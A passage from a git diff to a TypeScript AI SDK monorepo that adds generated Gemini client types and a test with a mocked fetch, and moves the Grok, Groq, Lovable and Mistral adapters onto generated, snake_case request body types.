'gemma-4-26b-a4b-it': 'gemma-4-26b-a4b-it', + 'gemma-4-31b-it': 'gemma-4-31b-it', + 'lyria-3.5': 'lyria-3.5', + 'lyria-3-clip-preview': 'lyria-3-clip-preview', + 'lyria-3-pro-preview': 'lyria-3-pro-preview', + 'lyria-realtime-exp': 'lyria-realtime-exp', + 'nano-banana-pro-preview': 'nano-banana-pro-preview', + } as const + +export type GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentRequestModelEnumKey = + (typeof geminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentRequestModelEnum)[keyof typeof geminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentRequestModelEnum] + +/** + * @description Request to generate a completion from the model. + * @type object + */ +export type GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentBody = + { + /** + * @description Required. The content of the current conversation with the model. For single-turn queries, this is a single instance. For multi-turn queries like [chat](https://aistudio.google.com/docs/text-generation#multi-turn-conversations), this is a repeated field that contains the conversation history and the latest request. + * @type array | undefined + */ + contents?: Content[] + /** + * @description Optional. A list of unique `SafetySetting` instances for blocking unsafe content. This will be enforced on the `GenerateContentRequest.contents` and `GenerateContentResponse.candidates`. There should not be more than one setting for each `SafetyCategory` type. The API will block any contents and responses that fail to meet the thresholds set by these settings. This list overrides the default settings for each `SafetyCategory` specified in the safety_settings. If there is no `SafetySetting` for a given `SafetyCategory` provided in the list, the API will use the default safety setting for that category. Harm categories HARM_CATEGORY_HATE_SPEECH, HARM_CATEGORY_SEXUALLY_EXPLICIT, HARM_CATEGORY_DANGEROUS_CONTENT, HARM_CATEGORY_HARASSMENT, HARM_CATEGORY_CIVIC_INTEGRITY, HARM_CATEGORY_JAILBREAK are supported. Refer to the [guide](https://aistudio.google.com/docs/safety-settings) for detailed information on available safety settings. Also refer to the [Safety guidance](https://aistudio.google.com/docs/safety-guidance) to learn how to incorporate safety considerations in your AI applications. + * @type array | undefined + */ + safetySettings?: SafetySetting[] + /** + * @description The Tool configuration containing parameters for specifying `Tool` use in the request. + * @type object | undefined + */ + toolConfig?: ToolConfig + /** + * @description Configuration options for model generation and outputs. Not all parameters are configurable for every model. + * @type object | undefined + */ + generationConfig?: GenerationConfig + /** + * @description Optional. The service tier of the request. + * @type string | undefined + */ + serviceTier?: GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentRequestServiceTierEnumKey + /** + * @description Optional. A list of `Tools` the `Model` may use to generate the next response. A `Tool` is a piece of code that enables the system to interact with external systems to perform an action, or set of actions, outside of knowledge and scope of the `Model`. Supported `Tool`s are `Function` and `code_execution`. Refer to the [Function calling](https://aistudio.google.com/docs/function-calling) and the [Code execution](https://aistudio.google.com/docs/code-execution) guides to learn more. + * @type array | undefined + */ + tools?: Tool[] + /** + * @description Optional. Configures the logging behavior for a given request. If set, it takes precedence over the project-level logging config. + * @type boolean | undefined + */ + store?: boolean + /** + * @description Optional. The name of the content [cached](https://aistudio.google.com/docs/caching) to use as context to serve the prediction. Format: `cachedContents/{cachedContent}` + * @type string | undefined + */ + cachedContent?: string + /** + * @description Optional. An opaque continuation token used to resume generation from a previous `GenerateContent` or `StreamGenerateContent` response that stopped with `finish_reason` set to `CONTINUATION`. Note that `contents` is mandatory and must identically replicate the prompt and conversation history from the initial request when continuation token is provided in a request. + * @type string | undefined + */ + continuationToken?: string + /** + * @description Required. The name of the `Model` to use for generating the completion. Format: `models/{model}`. + * @type string | undefined + */ + model?: GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentRequestModelEnumKey + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + systemInstruction?: Content + /** + * @description Optional. Labels with user-defined metadata for the request. Optional. Labels must follow standard unified Cloud label requirements: - Label keys must start with a letter. - Label keys and values can be no longer than 63 characters (Unicode codepoints) and can only contain lowercase letters, numeric characters, underscores, and dashes. - International characters are allowed. Usage: - Safety identifiers from aggregators: Use the key `safety_identifier` (e.g. `{"safety_identifier": "user_session_123"}`) + * @type object | undefined + */ + labels?: { + [key: string]: string + } + } + +export type GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentOptions = + { + body: GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentBody + path: GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentPath + query?: never + headers?: never + } + +export type GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentResponses = + { + '200': GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentStatus200 + } + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentResponse = + GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentStatus200 diff --git a/packages/ai-gemini/tests/generated-client.test.ts b/packages/ai-gemini/tests/generated-client.test.ts new file mode 100644 index 0000000000..1f28173df5 --- /dev/null +++ b/packages/ai-gemini/tests/generated-client.test.ts @@ -0,0 +1,114 @@ +import { describe, expect, it, vi } from 'vitest' +import { createGoogleGenAI } from '../src/client' +import * as sdk from '../src/generated/client/sdk' + +// Wraps the generated operations so a test can see which one ran. +vi.mock('../src/generated/client/sdk', async (importOriginal) => { + const actual = await importOriginal() + return Object.fromEntries( + Object.entries(actual).map(([name, operation]) => [name, vi.fn(operation)]), + ) +}) + +// The fetch client sends `generateContent` and `streamGenerateContent` +// through the Kubb operations generated from the OpenAPI document. + +function client(response: () => Response) { + vi.clearAllMocks() + const fetchFn = vi.fn(async () => response()) + const gemini = createGoogleGenAI( + { apiKey: 'test-key', httpOptions: { headers: { 'x-custom': 'yes' } } }, + fetchFn, + ) + const sent = () => { + const [url, init] = fetchFn.mock.calls[0] ?? [] + return { + url: String(url), + method: init?.method, + headers: new Headers(init?.headers), + body: JSON.parse(String(init?.body)), + } + } + return { gemini, sent } +} + +const candidate = (text: string) => ({ + candidates: [{ content: { role: 'model', parts: [{ text }] } }], +}) + +describe('generated Gemini client', () => { + it('sends generateContent on the generated path and parses the JSON', async () => { + const { gemini, sent } = client(() => Response.json(candidate('hi'))) + + const result = await gemini.models.generateContent({ + model: 'gemini-2.5-flash', + contents: 'hello', + }) + + const request = sent() + expect(request.url).toBe( + 'https://generativelanguage.googleapis.com/v1beta/models/gemini-2.5-flash:generateContent', + ) + expect(request.method).toBe('POST') + expect(request.headers.get('x-goog-api-key')).toBe('test-key') + expect(request.headers.get('x-custom')).toBe('yes') + expect(request.headers.get('content-type')).toBe('application/json') + expect(request.body).toEqual({ + contents: [{ role: 'user', parts: [{ text: 'hello' }] }], + }) + expect( + sdk.geminiPostV1BetaModelsModelsidGeneratecontent, + ).toHaveBeenCalledOnce() + expect(result.candidates?.[0]?.content?.parts?.[0]?.text).toBe('hi') + }) + + it('streams streamGenerateContent with alt=sse and parses each event', async () => { + const { gemini, sent } = client( + () => + new Response( + ['a', 'b'] + .map((text) => `data: ${JSON.stringify(candidate(text))}\n\n`) + .join(''), + { headers: { 'content-type': 'text/event-stream' } }, + ), + ) + + const stream = await gemini.models.generateContentStream({ + model: 'tunedModels/my-model', + contents: 'hello', + }) + const texts: Array = [] + for await (const chunk of stream) + texts.push(chunk.candidates?.[0]?.content?.parts?.[0]?.text) + + const request = sent() + expect(request.url).toBe( + 'https://generativelanguage.googleapis.com/v1beta/tunedModels/my-model:streamGenerateContent?alt=sse', + ) + expect(request.method).toBe('POST') + expect(request.body).toEqual({ + contents: [{ role: 'user', parts: [{ text: 'hello' }] }], + }) + expect( + sdk.geminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontent, + ).toHaveBeenCalledOnce() + expect(texts).toEqual(['a', 'b']) + }) + + it('keeps the hand-written path for another API version', async () => { + const { gemini, sent } = client(() => Response.json(candidate('hi'))) + + await gemini.models.generateContent({ + model: 'gemini-2.5-flash', + contents: 'hello', + config: { httpOptions: { apiVersion: 'v1' } }, + }) + + expect( + sdk.geminiPostV1BetaModelsModelsidGeneratecontent, + ).not.toHaveBeenCalled() + expect(sent().url).toBe( + 'https://generativelanguage.googleapis.com/v1/models/gemini-2.5-flash:generateContent', + ) + }) +}) diff --git a/packages/ai-gemini/vite.config.ts b/packages/ai-gemini/vite.config.ts index c026c9b811..77661cc874 100644 --- a/packages/ai-gemini/vite.config.ts +++ b/packages/ai-gemini/vite.config.ts @@ -20,6 +20,7 @@ const config = defineConfig({ '**/*.test.ts', '**/*.config.ts', '**/types.ts', + 'src/generated/', ], include: ['src/**/*.ts'], }, diff --git a/packages/ai-grok/src/adapters/image.ts b/packages/ai-grok/src/adapters/image.ts index fb489fbb28..45965eaeb8 100644 --- a/packages/ai-grok/src/adapters/image.ts +++ b/packages/ai-grok/src/adapters/image.ts @@ -23,8 +23,10 @@ import type { MediaInputMetadata, ResolvedMediaPrompt, } from '@tanstack/ai' -import type OpenAI_SDK from 'openai' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostImagesGenerationsBody, +} from '@tanstack/openai-base' import type { GrokImageModel } from '../model-meta' import type { GrokImageModelInputModalitiesByName, @@ -145,14 +147,14 @@ export class GrokImageAdapter< // The generic `size` option carries an "aspectRatio_resolution" template // (e.g. '16:9_2k', like Gemini native image models) and maps to the // Imagine API's `aspect_ratio` / `resolution` parameters. - const request = { + const request: OpenaiPostImagesGenerationsBody & { stream: false } = { model, prompt, n: numberOfImages ?? 1, ...imagineSizeParams(size), stream: false, ...modelOptions, - } as OpenAI_SDK.Images.ImageGenerateParamsNonStreaming + } try { options.logger.request( diff --git a/packages/ai-groq/src/adapters/tts.ts b/packages/ai-groq/src/adapters/tts.ts index 16fbd85c63..c6b4405cf7 100644 --- a/packages/ai-groq/src/adapters/tts.ts +++ b/packages/ai-groq/src/adapters/tts.ts @@ -5,8 +5,10 @@ import { createOpenAIClient } from '@tanstack/openai-base' import { getGroqApiKeyFromEnv, withGroqDefaults } from '../utils/client' import { validateAudioInput } from '../audio/audio-provider-options' import type { TTSOptions, TTSResult } from '@tanstack/ai' -import type OpenAI_SDK from 'openai' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostAudioSpeechBody, +} from '@tanstack/openai-base' import type { GroqTTSModel } from '../model-meta' import type { GroqTTSProviderOptions } from '../audio/tts-provider-options' import type { GroqClientConfig } from '../utils/client' @@ -57,7 +59,7 @@ export class GroqTTSAdapter extends BaseTTSAdapter< // Spreading optional inputs conditionally keeps the request compatible // with the vendor SDK shape under exactOptionalPropertyTypes. `sample_rate` // is a Groq-only body field carried via modelOptions. - const request: OpenAI_SDK.Audio.SpeechCreateParams = { + const request: OpenaiPostAudioSpeechBody = { model, input: text, voice: voice ?? 'autumn', diff --git a/packages/ai-lovable/src/adapters/embedding.ts b/packages/ai-lovable/src/adapters/embedding.ts index 7429d283ec..8eab3296a1 100644 --- a/packages/ai-lovable/src/adapters/embedding.ts +++ b/packages/ai-lovable/src/adapters/embedding.ts @@ -9,8 +9,10 @@ import type { EmbeddingResult, TokenUsage, } from '@tanstack/ai' -import type OpenAI_SDK from 'openai' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostEmbeddingsBody, +} from '@tanstack/openai-base' import type { LovableEmbeddingModel, LovableEmbeddingModelInputModalitiesByName, @@ -45,7 +47,7 @@ export class LovableEmbeddingAdapter< const texts = requireTextOnlyEmbeddingInput(options.input, this.name, model) try { - const request: OpenAI_SDK.EmbeddingCreateParams = { + const request: OpenaiPostEmbeddingsBody = { ...modelOptions, model, input: texts, diff --git a/packages/ai-lovable/src/adapters/image.ts b/packages/ai-lovable/src/adapters/image.ts index e1ffdf9bff..608073afbe 100644 --- a/packages/ai-lovable/src/adapters/image.ts +++ b/packages/ai-lovable/src/adapters/image.ts @@ -16,8 +16,11 @@ import type { ImagePart, MediaInputMetadata, } from '@tanstack/ai' -import type OpenAI_SDK from 'openai' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostImagesEditsBody, + OpenaiPostImagesGenerationsBody, +} from '@tanstack/openai-base' import type { LovableImageModel, LovableImageModelInputModalitiesByName, @@ -130,7 +133,7 @@ export class LovableImageAdapter< }) } - const request: OpenAI_SDK.Images.ImageGenerateParams = { + const request: OpenaiPostImagesGenerationsBody = { model, prompt, n: numberOfImages ?? 1, @@ -237,7 +240,7 @@ export class LovableImageAdapter< ) : undefined - const request: OpenAI_SDK.Images.ImageEditParamsNonStreaming = { + const request: OpenaiPostImagesEditsBody & { stream: false } = { model, prompt, image: @@ -246,8 +249,7 @@ export class LovableImageAdapter< : sourceFiles, n: numberOfImages ?? 1, stream: false, - ...((modelOptions ?? - {}) as Partial), + ...modelOptions, } if (size !== undefined) { request.size = size diff --git a/packages/ai-lovable/src/adapters/transcription.ts b/packages/ai-lovable/src/adapters/transcription.ts index b485f5857f..2f4ce531ab 100644 --- a/packages/ai-lovable/src/adapters/transcription.ts +++ b/packages/ai-lovable/src/adapters/transcription.ts @@ -14,7 +14,10 @@ import type { TranscriptionResult, } from '@tanstack/ai' import type OpenAI_SDK from 'openai' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostAudioTranscriptionsBody, +} from '@tanstack/openai-base' import type { LovableTranscriptionModel } from '../model-meta' import type { LovableTranscriptionProviderOptions } from '../audio/transcription-provider-options' import type { LovableClientConfig } from '../utils/client' @@ -121,7 +124,7 @@ export class LovableTranscriptionAdapter< private buildTranscriptionRequest( options: TranscriptionOptions, - ): OpenAI_SDK.Audio.TranscriptionCreateParamsNonStreaming { + ): OpenaiPostAudioTranscriptionsBody & { stream?: false | null } { const { model, audio, language, prompt, responseFormat, modelOptions } = options const file = this.prepareAudioFile(audio) @@ -148,7 +151,9 @@ export class LovableTranscriptionAdapter< ) } - const request: OpenAI_SDK.Audio.TranscriptionCreateParamsNonStreaming = { + const request: OpenaiPostAudioTranscriptionsBody & { + stream?: false | null + } = { ...modelOptions, model, file, diff --git a/packages/ai-lovable/src/adapters/tts.ts b/packages/ai-lovable/src/adapters/tts.ts index cd1467c771..cdc416cff9 100644 --- a/packages/ai-lovable/src/adapters/tts.ts +++ b/packages/ai-lovable/src/adapters/tts.ts @@ -8,8 +8,10 @@ import { withLovableDefaults, } from '../utils/client' import type { TTSOptions, TTSResult } from '@tanstack/ai' -import type OpenAI_SDK from 'openai' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostAudioSpeechBody, +} from '@tanstack/openai-base' import type { LovableTTSModel } from '../model-meta' import type { LovableTTSProviderOptions } from '../audio/tts-provider-options' import type { LovableClientConfig } from '../utils/client' @@ -42,7 +44,7 @@ export class LovableTTSAdapter< ): Promise { const { model, text, voice, format, speed, modelOptions } = options - const request: OpenAI_SDK.Audio.SpeechCreateParams = { + const request: OpenaiPostAudioSpeechBody = { model, input: text, voice: voice || 'alloy', diff --git a/packages/ai-lovable/src/adapters/video.ts b/packages/ai-lovable/src/adapters/video.ts index bd1349b99c..869f18d5e5 100644 --- a/packages/ai-lovable/src/adapters/video.ts +++ b/packages/ai-lovable/src/adapters/video.ts @@ -23,7 +23,10 @@ import type { VideoUrlResult, } from '@tanstack/ai' import type OpenAI_SDK from 'openai' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostVideosBody, +} from '@tanstack/openai-base' import type { LovableVideoModel, LovableVideoModelDurationByName, @@ -106,7 +109,7 @@ export class LovableVideoAdapter< ) } - const request: OpenAI_SDK.Videos.VideoCreateParams = { + const request: OpenaiPostVideosBody = { model, prompt: resolved.text, } @@ -120,14 +123,14 @@ export class LovableVideoAdapter< ) } if (resolvedSize) { - // Gateway Veo sizes include 1080p and 4K, which are not in the OpenAI SDK union. - request.size = resolvedSize as OpenAI_SDK.Videos.VideoSize + // Gateway Veo sizes include 1080p and 4K, which are not in the OpenAI union. + request.size = resolvedSize as OpenaiPostVideosBody['size'] } if (seconds !== undefined) { const apiSeconds = toApiSeconds(seconds) if (apiSeconds !== undefined) { - // Gateway Veo clips can be 6 seconds. The OpenAI SDK union is 4/8/12. - request.seconds = apiSeconds as OpenAI_SDK.Videos.VideoSeconds + // Gateway Veo clips can be 6 seconds. The OpenAI union is 4/8/12. + request.seconds = apiSeconds as OpenaiPostVideosBody['seconds'] } } diff --git a/packages/ai-mistral/src/adapters/embedding.ts b/packages/ai-mistral/src/adapters/embedding.ts index 667be46179..54821d6ee4 100644 --- a/packages/ai-mistral/src/adapters/embedding.ts +++ b/packages/ai-mistral/src/adapters/embedding.ts @@ -9,7 +9,7 @@ import type { TokenUsage, } from '@tanstack/ai' import type { MistralClient } from '../client/index' -import type { EmbeddingRequest } from '@mistralai/mistralai/models/components' +import type { MistralPostV1EmbeddingsBody } from '../generated/client/types' import type { MistralEmbeddingModel, MistralEmbeddingModelInputModalitiesByName, @@ -65,16 +65,14 @@ export class MistralEmbeddingAdapter< } try { - // Spread modelOptions first so it can never override the validated - // fields (server routes often pass modelOptions through from untyped - // client input). - const request: EmbeddingRequest = { - ...modelOptions, + // Only the known modelOptions field goes out (server routes often pass + // modelOptions through from untyped client input). + const request: MistralPostV1EmbeddingsBody = { + // @ts-expect-error modelschemas gap: EmbeddingRequest.model is a closed enum, the API takes any model id model, - inputs: texts, - } - if (options.dimensions !== undefined) { - request.outputDimension = options.dimensions + input: texts, + output_dtype: modelOptions?.outputDtype, + output_dimension: options.dimensions, } logger.request( diff --git a/packages/ai-mistral/src/adapters/text.ts b/packages/ai-mistral/src/adapters/text.ts index 8d7699dd6c..4f3332dbd7 100644 --- a/packages/ai-mistral/src/adapters/text.ts +++ b/packages/ai-mistral/src/adapters/text.ts @@ -2,7 +2,9 @@ import { isFileSource, unsupportedFileSourceError } from '@tanstack/ai' import { BaseTextAdapter } from '@tanstack/ai/adapters' import { undoNullWidening } from '@tanstack/ai-utils' import { convertToolsToProviderFormat } from '../tools/tool-converter' +import { sendWith } from '@tanstack/ai-utils/kubb' import { createMistralClient } from '../client/index' +import { mistralPostV1ChatCompletions } from '../generated/client/sdk' import { generateId, getMistralApiKeyFromEnv } from '../utils/client' import { makeMistralStructuredOutputCompatibleWithMap } from '../utils/schema-converter' import { createToolInputNormalizer } from '../utils/tool-input-normalizer' @@ -41,17 +43,16 @@ import type { StructuredOutputResult, } from '@tanstack/ai/adapters' import type { - AssistantMessage, - ChatCompletionStreamRequest, ContentChunk, - ReasoningEffort, -} from '@mistralai/mistralai/models/components' + MistralPostV1ChatCompletionsBody, + ReasoningEffortKey, + ResponseFormat, +} from '../generated/client/types' import type { ExternalTextProviderOptions, InternalTextProviderOptions, } from '../text/text-provider-options' import type { - ChatCompletionContentPart, MistralImageMetadata, MistralMessageMetadataByModality, } from '../message-types' @@ -126,20 +127,20 @@ function mistralReasoning( model: string, request: ReasoningRequest | undefined, reasoning: ModelReasoning | undefined, -): Pick { +): Pick { const resolved = resolveReasoning(request, reasoning) if (!resolved) return {} if (model.startsWith('magistral')) { - return resolved.level === 'off' ? {} : { promptMode: 'reasoning' } + return resolved.level === 'off' ? {} : { prompt_mode: 'reasoning' } } - // `ReasoningEffort` is an open enum, so a newer value still goes out. - return { reasoningEffort: resolved.value as ReasoningEffort } + // The level values come from the generated model metadata, typed `string`. + return { reasoning_effort: resolved.value as ReasoningEffortKey } } -/** Maps `chat({ toolChoice })` to the Mistral `toolChoice`. */ +/** Maps `chat({ toolChoice })` to the Mistral `tool_choice`. */ function toMistralToolChoice( choice: ToolChoice, -): NonNullable { +): NonNullable { if (typeof choice === 'string') return choice return { type: 'function', function: { name: choice.name } } } @@ -147,8 +148,7 @@ function toMistralToolChoice( /** * The Mistral wire field for `chat({ promptCache })`. Mistral caches without * a flag, so only the key goes out. There is no key for `'none'`. Send the - * key only to `api.mistral.ai`. The SDK request schema drops unknown fields, - * so structured output adds the key after that schema runs. + * key only to `api.mistral.ai`. */ function mistralPromptCacheKey(promptCache: ResolvedPromptCache | undefined) { if (!promptCache?.key || promptCache.retention === 'none') return undefined @@ -166,34 +166,15 @@ function mistralOwnApi(config: MistralClientConfig, provider: string) { } } -/** Add `prompt_cache_key` to a JSON body the SDK has already serialized. */ -function withPromptCacheKey(next: typeof fetch, key: string): typeof fetch { - return async (input, init) => { - const body = init?.body - const text = - typeof body === 'string' - ? body - : body instanceof ArrayBuffer - ? new TextDecoder().decode(body) - : undefined - if (text === undefined) return next(input, init) - let parsed: unknown - try { - parsed = JSON.parse(text) - } catch { - return next(input, init) - } - if ( - typeof parsed !== 'object' || - parsed === null || - Array.isArray(parsed) - ) { - return next(input, init) - } - return next(input, { - ...init, - body: JSON.stringify({ ...parsed, prompt_cache_key: key }), - }) +/** The `modelOptions.response_format` on the wire (snake_case). */ +function responseFormatToWire( + format: NonNullable, +): ResponseFormat { + if (format.type !== 'json_schema') return format + const { name, description, schemaDefinition, strict } = format.jsonSchema + return { + type: format.type, + json_schema: { name, description, schema: schemaDefinition, strict }, } } @@ -217,6 +198,9 @@ function mistralCachedTokens(usage: Record) { : {} } +type ChatBody = MistralPostV1ChatCompletionsBody +type ChatMessage = ChatBody['messages'][number] + type ResolveInputModalities = TModel extends keyof MistralModelInputModalitiesByName ? MistralModelInputModalitiesByName[TModel] @@ -353,8 +337,12 @@ export class MistralTextAdapter< const cacheKey = mistralOwnApi(this.rawConfig, this.provider) ? mistralPromptCacheKey(options.promptCache) : undefined - const body = { - ...this.toWireBody(requestParams), + const body: ChatBody = { + ...requestParams, + stream: true, + // Opt in to usage on the final streaming chunk. + // @ts-expect-error modelschemas gap: ChatCompletionRequest has no `stream_options` + stream_options: { include_usage: true }, ...(cacheKey !== undefined && { prompt_cache_key: cacheKey }), } const stream = this.fetchRawMistralStream( @@ -442,8 +430,7 @@ export class MistralTextAdapter< options: StructuredOutputOptions, ): Promise> { const { chatOptions, outputSchema } = options - const { stream: _stream, ...nonStreamParams } = - this.mapTextOptionsToMistral(chatOptions) + const params = this.mapTextOptionsToMistral(chatOptions) const { schema: jsonSchema, @@ -457,35 +444,29 @@ export class MistralTextAdapter< const cacheKey = mistralOwnApi(this.rawConfig, this.provider) ? mistralPromptCacheKey(chatOptions.promptCache) : undefined - const next = chatOptions.wrapFetch ? chatOptions.wrapFetch(fetch) : fetch - const client = cacheKey - ? createMistralClient(this.rawConfig, withPromptCacheKey(next, cacheKey)) - : chatOptions.wrapFetch - ? createMistralClient(this.rawConfig, next) - : this.client + const client = chatOptions.wrapFetch + ? createMistralClient(this.rawConfig, chatOptions.wrapFetch(fetch)) + : this.client // The SDK drops its default 30 s timeout when the request has a signal // (lib/sdks.js), so keep that timeout next to the caller signal. const signal = chatOptions.request?.signal const timeoutMs = this.rawConfig.timeoutMs || 30_000 - const params = { - ...nonStreamParams, - responseFormat: { - type: 'json_schema' as const, - jsonSchema: { - name: 'structured_output', - schemaDefinition: jsonSchema, - strict, - }, + const body: ChatBody = { + ...params, + response_format: { + type: 'json_schema', + json_schema: { name: 'structured_output', schema: jsonSchema, strict }, }, + ...(cacheKey !== undefined && { prompt_cache_key: cacheKey }), } const response = signal - ? await client.chat.complete(params, { + ? await client.chat.complete(body, { signal: timeoutMs > 0 ? AbortSignal.any([signal, AbortSignal.timeout(timeoutMs)]) : signal, }) - : await client.chat.complete(params) + : await client.chat.complete(body) const usage = response.usage && { promptTokens: response.usage.promptTokens ?? 0, @@ -988,7 +969,7 @@ export class MistralTextAdapter< * rejects streaming tool call chunks that omit `name` in argument deltas. */ private async *fetchRawMistralStream( - body: Record, + body: ChatBody, config: MistralClientConfig, wrapFetch: FetchWrapper | undefined, signal: AbortSignal | undefined, @@ -1000,8 +981,6 @@ export class MistralTextAdapter< ) .replace(/\/+$/, '') .replace(/\/v1$/, '') - const url = - config.resolveRequestUrl?.(true) ?? `${serverURL}/v1/chat/completions` const accessToken = config.getAccessToken === undefined @@ -1009,24 +988,32 @@ export class MistralTextAdapter< : await config.getAccessToken() const headers: Record = { - 'Content-Type': 'application/json', Authorization: `Bearer ${accessToken}`, ...config.defaultHeaders, } const send = wrapFetch ? wrapFetch(fetch) : fetch - const response = await send(url, { - method: 'POST', - headers, - body: JSON.stringify(body), - signal, + const { response } = await mistralPostV1ChatCompletions({ + client: sendWith(async (built) => { + const res = await send( + config.resolveRequestUrl?.(true) ?? `${serverURL}${built.path}`, + { + method: built.method, + // The generated content type goes first, so the config headers win. + headers: { ...built.headers, ...headers }, + body: built.body, + signal, + }, + ) + if (!res.ok) { + const errorText = await res.text() + throw new Error(`Mistral API error ${res.status}: ${errorText}`) + } + return res + }), + body, }) - if (!response.ok) { - const errorText = await response.text() - throw new Error(`Mistral API error ${response.status}: ${errorText}`) - } - if (!response.body) { throw new Error( 'Mistral API returned a response with no body. This may indicate a proxy or runtime that does not support streaming.', @@ -1096,52 +1083,6 @@ export class MistralTextAdapter< } } - /** - * Converts the SDK's camelCase `ChatCompletionStreamRequest` into the - * snake_case wire body, including converting messages. - */ - private toWireBody( - params: ChatCompletionStreamRequest, - ): Record { - const { - messages, - maxTokens, - topP, - randomSeed, - responseFormat, - toolChoice, - parallelToolCalls, - frequencyPenalty, - presencePenalty, - safePrompt, - reasoningEffort, - promptMode, - stream: _stream, - ...rest - } = params - - return { - ...rest, - messages: messages.map(messageToWire), - stream: true, - // Opt in to usage on the final streaming chunk. - stream_options: { include_usage: true }, - ...(maxTokens != null && { max_tokens: maxTokens }), - ...(topP != null && { top_p: topP }), - ...(randomSeed != null && { random_seed: randomSeed }), - ...(responseFormat != null && { response_format: responseFormat }), - ...(toolChoice != null && { tool_choice: toolChoice }), - ...(parallelToolCalls != null && { - parallel_tool_calls: parallelToolCalls, - }), - ...(frequencyPenalty != null && { frequency_penalty: frequencyPenalty }), - ...(presencePenalty != null && { presence_penalty: presencePenalty }), - ...(safePrompt != null && { safe_prompt: safePrompt }), - ...(reasoningEffort != null && { reasoning_effort: reasoningEffort }), - ...(promptMode != null && { prompt_mode: promptMode }), - } - } - /** * Splits a Mistral delta content payload into text and reasoning deltas. * Mistral reasoning models (magistral-*) stream reasoning content as @@ -1185,7 +1126,7 @@ export class MistralTextAdapter< */ private mapTextOptionsToMistral( options: TextOptions, - ): ChatCompletionStreamRequest { + ): ChatBody { const modelOptions = options.modelOptions as | Omit | undefined @@ -1208,7 +1149,7 @@ export class MistralTextAdapter< .slice(0, 9) }, ) - const messages: ChatCompletionStreamRequest['messages'] = [] + const messages: Array = [] if (options.systemPrompts && options.systemPrompts.length > 0) { messages.push({ @@ -1225,18 +1166,19 @@ export class MistralTextAdapter< // before the `modelOptions` spread, so a `tool_choice` there wins. const toolChoiceField = tools?.length && options.toolChoice !== undefined - ? { toolChoice: toMistralToolChoice(options.toolChoice) } + ? { tool_choice: toMistralToolChoice(options.toolChoice) } : undefined return { ...toolChoiceField, + // @ts-expect-error modelschemas gap: ChatCompletionRequest.model is a closed enum, the API takes any model id model: this.rawConfig.requestModel ?? options.model, - messages: messages, + messages, temperature: modelOptions?.temperature ?? undefined, - maxTokens: modelOptions?.max_tokens ?? undefined, - topP: modelOptions?.top_p ?? undefined, - tools: tools as ChatCompletionStreamRequest['tools'], - stream: true, + max_tokens: modelOptions?.max_tokens ?? undefined, + top_p: modelOptions?.top_p ?? undefined, + // @ts-expect-error public type mismatch: ChatCompletionTool vs Tool, function.parameters optional vs required + tools, ...mistralReasoning( options.model, options.reasoning, @@ -1245,29 +1187,29 @@ export class MistralTextAdapter< ...(modelOptions && { ...(modelOptions.stop != null && { stop: modelOptions.stop }), ...(modelOptions.random_seed != null && { - randomSeed: modelOptions.random_seed, + random_seed: modelOptions.random_seed, }), ...(modelOptions.response_format != null && { - responseFormat: modelOptions.response_format, + response_format: responseFormatToWire(modelOptions.response_format), }), ...(modelOptions.tool_choice != null && { - toolChoice: modelOptions.tool_choice, + tool_choice: modelOptions.tool_choice, }), ...(modelOptions.parallel_tool_calls != null && { - parallelToolCalls: modelOptions.parallel_tool_calls, + parallel_tool_calls: modelOptions.parallel_tool_calls, }), ...(modelOptions.frequency_penalty != null && { - frequencyPenalty: modelOptions.frequency_penalty, + frequency_penalty: modelOptions.frequency_penalty, }), ...(modelOptions.presence_penalty != null && { - presencePenalty: modelOptions.presence_penalty, + presence_penalty: modelOptions.presence_penalty, }), ...(modelOptions.n != null && { n: modelOptions.n }), ...(modelOptions.prediction != null && { prediction: modelOptions.prediction, }), ...(modelOptions.safe_prompt != null && { - safePrompt: modelOptions.safe_prompt, + safe_prompt: modelOptions.safe_prompt, }), }), } @@ -1276,16 +1218,14 @@ export class MistralTextAdapter< /** * Converts a TanStack AI ModelMessage to a Mistral ChatCompletionMessageParam. */ - private convertMessageToMistral( - message: ModelMessage, - ): ChatCompletionStreamRequest['messages'][number] { + private convertMessageToMistral(message: ModelMessage): ChatMessage { if (message.role === 'tool') { if (!message.toolCallId) { throw new Error('Missing toolCallId for tool message') } return { role: 'tool', - toolCallId: message.toolCallId, + tool_call_id: message.toolCallId, // Mistral accepts image chunks in a tool message, so send the parts. content: Array.isArray(message.content) ? message.content.map((part) => @@ -1313,7 +1253,7 @@ export class MistralTextAdapter< return { role: 'assistant', content: this.assistantContent(message), - ...(toolCalls && toolCalls.length > 0 ? { toolCalls } : {}), + ...(toolCalls && toolCalls.length > 0 ? { tool_calls: toolCalls } : {}), } } @@ -1337,7 +1277,9 @@ export class MistralTextAdapter< } /** Readable thinking and text, in the stored block order. */ - private assistantContent(message: ModelMessage): AssistantMessage['content'] { + private assistantContent( + message: ModelMessage, + ): string | Array { if (!message.thinking?.length) return 